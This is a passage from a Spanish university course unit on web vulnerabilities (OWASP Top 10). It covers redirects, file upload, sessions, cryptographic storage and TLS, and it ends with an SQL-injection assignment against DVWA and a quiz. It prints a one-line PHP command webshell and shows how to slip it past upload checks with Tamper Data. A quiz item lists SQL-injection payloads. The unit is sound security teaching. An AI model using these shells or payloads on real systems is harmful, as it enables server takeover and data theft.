La URL inicial corresponde con la página oficial por lo que un usuario descuidado
podría fácilmente caer en el intento de phishing.
Para eliminar esta vulnerabilidad se debe:
Evitar utilizar redirecciones y reenvíos en la medida de lo posible.

Si se usa, evitar incluir la redirección como un parámetro de la URL.
Si es indispensable incluir el parámetro en la URL:
o Validar cada parámetro para asegurar que es una redirección permitida y
autorizada para el usuario en cuestión, y a un sitio válido y de confianza.
o Utilizar parámetros locales y mapear estos en el lado del servidor.
Validar la URL después de que la página de destino se haya determinado, para
asegurar que el destino es correcto.
Validar la redirección mediante un filtro externo como Siteminder.
Comprobar siempre que el usuario tenga permisos para ver tanto la página original
como la redirigida. Si no se hace correctamente podría permitir accesos no
autorizados y escalada de privilegios en la página.
10. Subida de archivos sin restricción
Subir archivos representa un riesgo para las aplicaciones. Muchos ataques contra
aplicaciones web consisten en dos fases, la primera es conseguir algún código en el
sistema a atacar y la segunda encontrar una manera de ejecutar ese código. Con la
subida de archivos se ayuda a un atacante a conseguir la primera fase.
Las consecuencias de la subida de archivos sin restricción pueden ser variadas,

dependiendo de que la aplicación permita subir archivos y dónde se almacenen, pero el
riesgo es muy alto:
Pérdida total del sistema (Denegación de servicio o robo de información).
Sobrecarga de archivos en el sistema o la base de datos.
Defacement.
Almacenamiento de virus para infectar el sistema y a los usuarios de la aplicación
web.
Hay dos tipos de problemas con la subida de archivos. El primero son los metadatos de
archivos, como el path o el nombre. Estos podrían modificarse al realizarse la petición

59
de envío HTTP con proxys como Tamper Data, pudiendo subir archivos no permitidos
o sobrescribiendo archivos críticos del servidor. El segundo tipo de problema es el
tamaño del archivo o su contenido. De nuevo se podría modificar con un proxy
permitiendo la subida de archivos maliciosos.
Podemos ver un ejemplo en la plataforma DVWA en la pestaña de Upload.
Nota: para que pueda funcionar la subida de archivos es necesario dar permisos 777 a la
carpeta /var/www/dvwa/hackable/uploads con chmod.
En el nivel bajo vamos a insertar subir una webshell como la c99, ya que no tiene
protección alguna contra ningún tipo de archivo. Pero al intentarlo vemos que no nos
deja, así que vamos a probar utilizar Tamper Data para ver qué ocurre.
Figura 69. Subida errónea de la webshell.
Vemos que tiene un tamaño máximo de archivo, así que vamos a probar modificarlo.
Modificamos el tamaño máximo con Tamper Data.

60
Ahora si nos dejará subir la webshell y podremos acceder a ella (¡y con permisos de
escritura!):
Figura 70. Webshell con permisos de lectura y escritura.
En el nivel medio no podremos, aunque codifiquemos el parámetro del tamaño, pues el

propio código de la aplicación comprobará el tamaño y no nos dejará subir archivos
grandes. Pero sí podremos subir una pequeña shell del tipo:
<?php
$cmd=$_GET[“cmd”];
system($cmd);
?>
También nos dará error, pues la aplicación comprueba el tipo de archivo que se sube,
permitiendo solo aquellos que sean del tipo «image/jpeg».
De nuevo usaremos Tamper Data para intentar modificar este valor.
Cambiamos el valor del tipo de archivo.

61
Finalmente podremos acceder a ella y ejecutar comandos con permisos de lectura,

escritura y ejecución:
Figura 71. Podemos ejecutar comandos en el servidor.
Para evitar este tipo de vulnerabilidades debemos:

Comprobar las extensiones y utilizar listas blancas para los valores.
Filtrar los archivos por tamaño y establecer un límite de tamaño en la carpeta donde
se almacenen los archivos.
Sanear la entrada de caracteres de los archivos subidos, evitando símbolos como “;”,
“:”, “>”, “<”, “/”, “\”.
Comprobar el nombre de los archivos antes de introducirlos para evitar sobrescribir
otros.
Tener la carpeta que almacene los archivos separada de los archivos críticos del
servidor y que esta tenga el menor número de permisos posibles.
Escanear periódicamente los archivos subidos en busca de virus y archivos
potencialmente peligrosos.
11. Gestión de sesiones
En muchos casos las credenciales y tokens de sesión de una aplicación no están

correctamente separadas y protegidas, por lo que un atacante podría obtener
contraseñas, claves o tokens de autentificación que les permitan robar la identidad de
otro usuario. Esto es debido a que HTTP y HTTPS no tienen estado y necesitan utilizar
sesiones de usuario para «acordarse» del estado de la comunicación (mediante las
cookies).
En cada petición de sesión se incluye este identificador en forma de cookie para que
puedan mantenerse configuraciones o para no estar constantemente introduciendo el
usuario y contraseña del cliente.

62
Recordamos que en la plataforma DVWA si mirábamos con Tamper Data las peticiones
encontrábamos el identificador de la sesión así como la configuración de seguridad:
Figura 72. Cookie de la plataforma DVWA.
En muchos casos, este identificador es visible en la red, en el navegador (Live http

Headers), logs… dando lugar a que un atacante pueda robar esta información en
cualquier punto.
Los fabricantes de frameworks para aplicaciones web, en muchos casos, ya ofrecen un

sistema de gestión de sesiones seguro, usado de manera correcta, ya que crear un
sistema de gestión de sesiones propio puede ser peligroso si no se realiza
correctamente. Pueden ser peligrosos también aquellos scripts que permitan a alguien
interferir o modificar la sesión de otro usuario, como formularios de contraseñas
(vistos con CSRF), recuperación de contraseñas, preguntas secretas…
Una ID de sesión debe ser:

Única por cada usuario y válida únicamente para una sesión.
Generada por el servidor y enviada al cliente como una variable oculta en una cookie
HTTP.
El usuario debe mandar de vuelta la misma ID en la siguiente petición para
autentificarse.
Hay dos técnicas para el robo de sesión:

Session Hijacking. Un atacante espera a que un usuario legítimo de una
aplicación web establezca una sesión y obtiene el identificador de esta, pudiendo
entonces hacerse pasar por el usuario al utilizar este identificador.
Session Fixation. Un atacante envía explícitamente un identificador de sesión a
una víctima para que establezca la conexión a través de dicho identificador. A partir
de ahí será igual que la técnica de Session Hijacking.
Las URL serán similares a:
http://www.ejemplo.com/index...?session_name=sessionid

63
Normalmente un atacante tiene los mismos privilegios que la víctima a la que usurpa la
identidad, pero puede darse casos en los que la víctima tenga más privilegios y permita
al atacante escalar privilegios o iniciar nuevos vectores de ataque.
Vamos a ver un par de escenarios de ejemplo de robo de sesión:
Session Hijacking. Un usuario establece una sesión en un foro con su usuario y

contraseña y en la URL aparecerá su identificador de la forma:
http://www.foro.com?SESSID=1234
El usuario hace clic en algún enlace y le llevará a una página maliciosa. En ella, el
administrador de la web podrá ver los logs de las peticiones HTTP y verá en el
campo referer de esta, la URL anterior. El atacante entonces podrá suplantar la
identidad de la víctima utilizando su mismo identificador.
Session fixation. Un atacante realiza una petición de login a una aplicación web y el
sitio web le devuelve un identificador de sesión para que se conecte. En lugar de
introducir sus credenciales, el atacante envía a la víctima a la página de login, con el
identificador de sesión que se le dio al atacante, para que esta introduzca sus
credenciales. Una vez la víctima se haya autentificado, un atacante podrá
suplantarla, pues posee el mismo identificador.
Figura 73. Ejemplo de session fixation.

Para poder evitar el robo de sesión es necesario:
Utilizar un ID de sesión complejo y aleatorio, que no pueda ser adivinado ni
obtenido por fuerza bruta.

64
Utilizar técnicas que fomenten la protección en la transmisión y almacenaje de la ID

de sesión.
No se debe incluir el identificador de la sesión en la URL, ya que se guarda en la
caché del navegador o en algún proxy intermedio y esto facilita al atacante la labor
de manipularlo.
Utilizar HTTPS en toda la sesión, no solamente en el momento de la autenticación
para evitar revelar identificadores de sesión. Además protege la información que se
transmite desde o hacia el cliente. Toda la transmisión va cifrada.
El identificador de sesión debe caducar, gestionado por el servidor, y en el lado del
cliente las cookies deben tener una fecha de expiración.
Se debe regenerar el identificador de la sesión tras una autenticación correcta o
cuando la cuenta del usuario sufra un cambio de privilegios.
12. Almacenamiento criptográfico inseguro
En muchas ocasiones las bases de datos de aplicaciones web no guardan la

información sensible como contraseñas o números de tarjeta de crédito de
forma cifrada. Un atacante podría aprovecharse de la falta de protección para
conseguir acceso no autorizado a cuentas, datos, compras online fraudulentas… lo que
podría ocasionar una pérdida del valor para la compañía, sobretodo pérdida de la
confianza del cliente.
Cifrar los datos se ha vuelto relativamente sencillo para los desarrolladores, ya que la
mayoría de las plataformas lo integran, pero aun así es común ver fallos en su
implementación (o incluso que no se implemente):
Almacenaje inseguro o incorrecto de contraseñas, certificados, claves, etc.
Uso de algoritmos inadecuados (débiles, obsoletos, vulnerables…).
Utilizar una semilla insuficientemente aleatoria para vectores de inicialización.
Intentar desarrollar un sistema de cifrado propio.
Un atacante para romper cifrados débiles o vulnerables puede usar rainbow tables
(tablas con las posibles combinaciones de contraseña-hash de algún algoritmo de
cifrado débil, como MD5 o SHA) o páginas que tengan una base de datos de
contraseñas rotas como:
http://www.md5decrypter.co.uk

65
Para evitar esta vulnerabilidad es importante tomar una serie de medidas:
Verificar la arquitectura de las aplicaciones:

o Identificar todos los datos sensibles.
o Identificar los puntos donde se guardará la información sensible.
o Identificar los posibles riesgos y accesos no autorizados.
o Utilizar el cifrado para paliar los riesgos, no solo cifrar los datos, sino
implementar mecanismos para que los datos cifrados no puedan accederse por
personal no autorizado.
Utilizar mecanismos de cifrado apropiados a las circunstancias: cifrado de ficheros,

de bases de datos, de elementos y estructuras de datos…
Utilizar mecanismos de cifrado de manera correcta y verificar su correcta

implementación:
o Uso de algoritmos estándar y fuertes, implementados en la situación adecuada.
o Generación, distribución y protección de las claves de manera apropiada y
segura.
o Realizar cambios de clave de manera periódica.
13. Protección insuficiente en la capa de transporte
Es necesario transmitir los datos importantes de una manera segura, ya que la

existencia de sniffers u otras herramientas permitiría a un atacante obtener toda la
información que se transmite desde y hacia un cliente.
El envío inseguro se suele deber a varios factores:

No identificar correctamente todos los datos importantes.
No identificar todos los sitios a los que se envían datos importantes, ya sea a través
de la red, a bases de datos secundarias o de desarrollo, comunicaciones internas
(emails, documentos escritos, ftp entre departamentos), empresas asociadas, etc.
No proteger los datos de manera correcta en todos los puntos.
La falta de seguridad en la capa de transporte o la mala configuración de esta, tiene un

impacto diverso:
Acceso no autorizado o modificación de la información privada (tarjetas de crédito,
datos financieros, credenciales…).

66
La información extraída se puede utilizar en otros ataques, como el robo de

credenciales. ¿Quién no tiene una misma contraseña y usuario para dos servicios
web diferentes?
Últimamente se están encontrando muchas vulnerabilidades respecto a la capa de

transporte, principalmente aquellas que se aprovechan de la negociación del cifrado.
Esta técnica consiste en hacer un downgrade del tipo de cifrado usado en la capa de
transporte, a cifrados débiles u obsoletos que sean relativamente fáciles de romper. Así
un atacante con un sniffer podría obtener todos los datos de una conexión aun estando
esta cifrada.
Se pueden ver los siguientes artículos para saber más sobre estas técnicas:
http://www.elladodelmal.com/2015/03/bar-mitzvah-nuevo-ataque-ssltls-te-roba.html
http://www.elladodelmal.com/2015/03/ataques-smack-sobre-tls-skip-tls-freak.html
La principal solución para evitar este tipo de fallos es utilizar TLS (actualmente la
última versión es la 1.2) para transmitir toda la información o al menos la información
sensible.
Otras medidas importantes son:

Cifrar los mensajes antes de transmitirlos (cifrar el correo, utilizar túneles cifrados
para chats…)
Utilizar la firma digital de mensajes antes de transmitirlos para asegurarse de su
integridad.
Utilizar algoritmos estándar y seguros y deshabilitar las implementaciones antiguas
de SSL (para evitar downgrades).
Almacenar y transmitir certificados y claves de manera segura.
Verificar siempre los certificados SSL antes de utilizarlos.

67
Lo + recomendado
Lecciones magistrales
Ataques de inyección de teclas
En la siguiente lección magistral hablaremos sobre los ataques de inyección de teclas.
La lección magistral está disponible en el aula virtual.
No dejes de leer…
Best Practices for Keeping Your Home Network Secure
El siguiente documento pretende mostrar la forma de securizar una red local para uso
doméstico.
El artículo completo está disponible en el aula virtual o en la siguiente dirección web:

https://www.nsa.gov/Portals/70/documents/what-we-do/cybersecurity/professional-
resources/csi-best-practices-for-keeping-home-network-secure.pdf
TEMA 3 – Lo + recomendado © Universidad Internacional de La Rioja, S. A. (UNIR)

68
SQL Injection
En el siguiente artículo veremos ejemplos de técnicas de SQL Injection.
El artículo completo está disponible en el aula virtual o en la siguiente dirección web:

http://www.elladodelmal.com/2007/11/tcnicas-avanzadas-en-blind-sql.html
TEMA 3 – Lo + recomendado © Universidad Internacional de La Rioja, S. A. (UNIR)

69
+ Información
A fondo
XSS
En el siguiente artículo se muestran conceptos básicos y casos prácticos sobre XSS.
El artículo está disponible en el aula virtual o en la siguiente dirección web:

https://medium.com/@charithra/introduction-to-xss-e9eb90b4323d
Ldap Injection y Blind Ldap Injection
En este artículo se propone un análisis de las vulnerabilidades de los servicios del

protocolo LDAP frente a ataques blind sql injection. Además, se propone el análisis de
un caso real para destacar los aspectos más importantes a la hora de securizar
aplicaciones frente a este tipo de ataques.

http://www.imaginar.org/taller/ecollecter/fullpapers/p75-
LDAPInjectionYBlindLDAPInjection.pdf
Gestión de sesiones
En el siguiente artículo se tratan diferentes casos de gestión de sesiones, en concreto de

session fixation.

http://www.um.es/atica/documentos/OWASP_Testing_Guide_v2_spanish.pdf
TEMA 3 – + Información © Universidad Internacional de La Rioja, S. A. (UNIR)

70
Webgrafía
Owasp
Página web donde encontramos más información del proyecto Owasp y otros
documentos.
La página web está disponible en el aula virtual o en la siguiente dirección:

https://www.owasp.org/index.php/Main_Page
Mutillidae
Página web donde encontramos información sobre aplicación Mutillidae.

http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-
php-owasp-top-10

71
Damn Vulnerable Web Application
Página web donde encontramos información sobre aplicación DVWA.

http://www.dvwa.co.uk/
Flu-Project: Herramientas de auditoría de seguridad
Página web donde encontramos información sobre las diferentes herramientas de

seguridad que existen.

http://www.flu-project.com/p/herramientas-de-seguridad.html
Acunetix
Aplicación que escanea sistemas para sacar todas las vulnerabilidades.

http://www.acunetix.com/

72
Bibliografía
Andreu, A. (2006). Professional Pen Testing for Web Applications.Editorial Wrox.

Indiana: Wiley Publishing.
Thompson Martínez, R. (2012). Mitigar inyecciones SQL con técnicas de minería de

datos. Editorial Académica Española.

73
Actividades
Trabajo: Realizar ataques SQL Injection contra la aplicación

DVWA
En la siguiente actividad deberás realizar diversos ataques sobre la aplicación DVWA

utilizando la técnica de SQL Injection.
Para ello, se deberán usar tanto técnicas de explotación manual como herramientas
automáticas, por ejemplo, SQLMap.
El alumno deberá explicar y razonar debidamente los pasos dados para la realización de
cada uno de los apartados indicados a continuación.
Apartado 1:
Usando técnicas de explotación manual, el alumno deberá:
» Indicar cuál/cuáles son los parámetros vulnerables de la URL.

» Obtener los nombres de las bases de datos disponibles.
» Obtener los usuarios de la base de datos DVWA.
» El alumno deberá usar para la explotación los comandos SQL UNION y CONCAT
Apartado 2:
En este apartado el alumno deberá usar herramientas automáticas de explotación, por

ejemplo, SQLMap. El alumno deberá:
» Recuperar los nombres de las tablas de la base de datos DVWA.

» Recuperar el contenido de las tablas de la base de datos DVWA.
Extensión máxima: 10 páginas (Georgia 11 e interlineado 1,5).
TEMA 3 – Actividades © Universidad Internacional de La Rioja, S. A. (UNIR)

74
Test
1. Dentro de las vulnerabilidades en la red podemos encontrar que:

A. XSS es una herramienta para acceder a sistemas operativos.
B. Las técnicas de inyección están enfocadas principalmente a funciones de
identificación del usuario.
C. El código de inyección SQL es muy parecido al de XSS.
D. Todas las anteriores son incorrectas.
2. Respecto a las vulnerabilidades web basadas en la gestión de sesión indica cuál no es

correcta:
A. Se basa en que los protocolos HTTP y HTTPS no pueden guardar el estado de
sesión.
B. El atacante envía explícitamente el identificador de sesión a la víctima en la
técnica de session fixation.
C. Se fuerza una sesión en el navegador de la víctima para enviar peticiones
maliciosas.
D. Se podría obtener el identificador de sesión gracias al campo referer.
3. Respecto a OWASP indica que afirmación es correcta:

A. Es una vulnerabilidad que nos permite modificar el valor de los parámetros
que no están restringidos en la URL.
B. Es un proyecto de código abierto dedicado a determinar y combatir las causas
que hacen que el software sea inseguro.
C. Es una herramienta para detectar aplicaciones vulnerables a inyecciones ASP y
explotarlas.
D. Todas las anteriores son incorrectas.
4. Dentro del Top 10 de vulnerabilidades web encontramos:

A. Referencia Directa Insegura a objetos.
B. Referencia Directa Insegura a websites.
C. Referencia Directa Insegura en inicio de sesiones.
D. Referencia Directa Insegura a operadores de Google Hack.
TEMA 3 – Test © Universidad Internacional de La Rioja, S. A. (UNIR)

75
5. ¿Qué herramienta nos permite realizar ataques de fuerza bruta a servicios y

aplicaciones web?:
A. BurpSuite.
B. Crunch.
C. Hydra.
D. Tamper Data.
6. El escenario de ataque en el que el listado del contenido de los directorios no está

deshabilitado en el servidor corresponde a:
A. Configuraciones inseguras.
B. Pérdida de autentificación y gestión de sesiones.
C. Redirecciones y reenvíos no validados.
D. Secuencia de comandos en sitios cruzados (XSS).
7. El ataque que obliga al navegador de una víctima autentificada a enviar una petición
HTTP falsificada es una vulnerabilidad que se conoce con el nombre de:
A. XSS reflejado.
B. CSRF.
C. Session Hijacking.
D. Redirecciones y reenvíos.
8. Indica que afirmación es correcta:

A. En la vulnerabilidad de almacenamiento criptográfico inseguro se puede hacer
un downgrade a los tipos de cifrado.
B. En la vulnerabilidad de protección insegura en la capa de transporte se puede
hacer un downgrade a los tipos de cifrado.
C. En la vulnerabilidad de configuraciones inseguras se puede hacer un
downgrade a los tipos de cifrado.
D. En ningún caso se puede hacer un downgrade de los tipos de cifrado.

76
9. Indica qué haría falta inyectar en ‘parámetro1’ y ‘parámetro2’ en la siguiente

petición para obtener toda la información del usuario admin. (Suponemos que no
realiza comprobación de caracteres).
SELECT * FROM users WHERE user = ‘parámetro1’ AND HASH(‘parámetro2’) =

contraseña;
A. parámetro1 -> ‘admin OR 1 = 1’;

parámetro2 -> ‘OR 1 = 1’;
B. parámetro1 -> admin’OR’1’=’0;
parámetro2 -> admin’OR’1’=’1;
C. parámetro1 -> Indiferente
parámetro2 -> admin‘OR’1’=’1;
D. parámetro1 -> admin‘OR’1’=’1;
parámetro2 -> Indiferente
10. Dentro de las vulnerabilidades web, cuál de las siguientes no existe:

A. RFI.
B. XSS Stored.
C. Reload injection.
D. Session Hijacking.

77

Tema 3

Hochgeladen von

Dokumentinformationen

Originaltitel

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

Tema 3

Hochgeladen von

Copyright:

Verfügbare Formate

Vulnerabilidades web

[3.1] ¿Cómo estudiar este tema?

[3.3] Plataformas de aprendizaje

[3.4] Herramientas para hacking web

[3.5] Tipos de vulnerabilidades

OWASP Plataformas de Herramientas Tipos de

Mutillidae Ejecución maliciosa de

Subida de archivos sin restricción

Almacenamiento criptográfico inseguro

Protección insuficiente en la capa de

© Universidad Internacional de La Rioja, S. A. (UNIR)

3.1. ¿Cómo estudiar este tema?

En primer lugar hablaremos de OWASP, un proyecto de código abierto creado para

Después veremos tres plataformas de aprendizaje: DVWA, Mutillidae y WebGoat.

Luego se verán diferentes herramientas para poder analizar y explotar vulnerabilidades

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Finalmente, se hablará de los diferentes tipos de vulnerabilidades web. Por cada

OWASP es un proyecto de código abierto dedicado a determinar y combatir las causas

Las herramientas OWASP más usadas incluyen el entorno de formación WebGoat

Nos vamos a centrar en el top 10 OWASP, su objetivo es educar a desarrolladores,

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Figura 1. Comparación Top 10 OWASP 2010 y 2013.

La guía además clasifica estas vulnerabilidades según la facilidad de explotación que

Figura 2. Clasificación del Top 10 OWASP 2013.

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Puedes encontrar documentación de OWASP en la siguiente dirección web:

Accede al top 10 de 2013:

Accede a la Guía de Testing OWASP v4:

3.3. Plataformas de aprendizaje

Para ello tenemos a nuestra disposición tres plataformas diseñadas especialmente

A continuación explicaremos cada una de las tres plataformas, tanto su instalación

DVWA (Damn Vulnerable Web Application) es un reconocido entorno de

Será la plataforma que utilizaremos para nuestros ejemplos y demostraciones, ya que es

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Tiene tres niveles de dificultad:

Las temáticas que cubre la plataforma son las siguientes:

Brute Force Command execution

CSRF Insecure CAPTCHA

File Inclusion SQL Injection

Blind SQL Injection Upload

XSS Reflected XSS Stored

Categorías principales de DVWA.

Figura 3. Interfaz de DVWA.

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

En nuestro caso, en la máquina Kali ya los tenemos, por lo que descargaremos la

Descomprimiremos el zip, lo moveremos a la carpeta del servidor y le daremos

Ahora iniciaremos el gestor de bases de datos y crearemos la base de datos de la

Finalmente iniciaremos el servidor y ya podremos conectarnos a la plataforma:

Nos conectaremos a ella poniendo en el navegador 127.0.0.1/dvwa/ o localhost/dvwa/.

Hay otra forma de instalar la plataforma en cualquier sistema operativo (Linux,

Puedes obtener más información en la siguiente dirección web:

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Mutillidae es otra plataforma para poder entrenar los conocimientos de

La plataforma tiene dos modos:

Figura 4. Interfaz de Mutillidae.

De nuevo nos conectaremos a la plataforma mediante el navegador, en este caso

TEMA 3 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

En la siguiente dirección web encontrarás, en el apartado Downloads, todas las

El autor de la plataforma también ha creado una gran colección de vídeo tutoriales de

Puedes ver todos estos vídeos en la siguiente dirección web:

WebGoat es una plataforma con aplicaciones web deliberadamente inseguras

La página se divide en diferentes lecciones, en la cuales el usuario deberá demostrar su

Actualmente hay 30 lecciones de aprendizaje entre las cuales encontramos las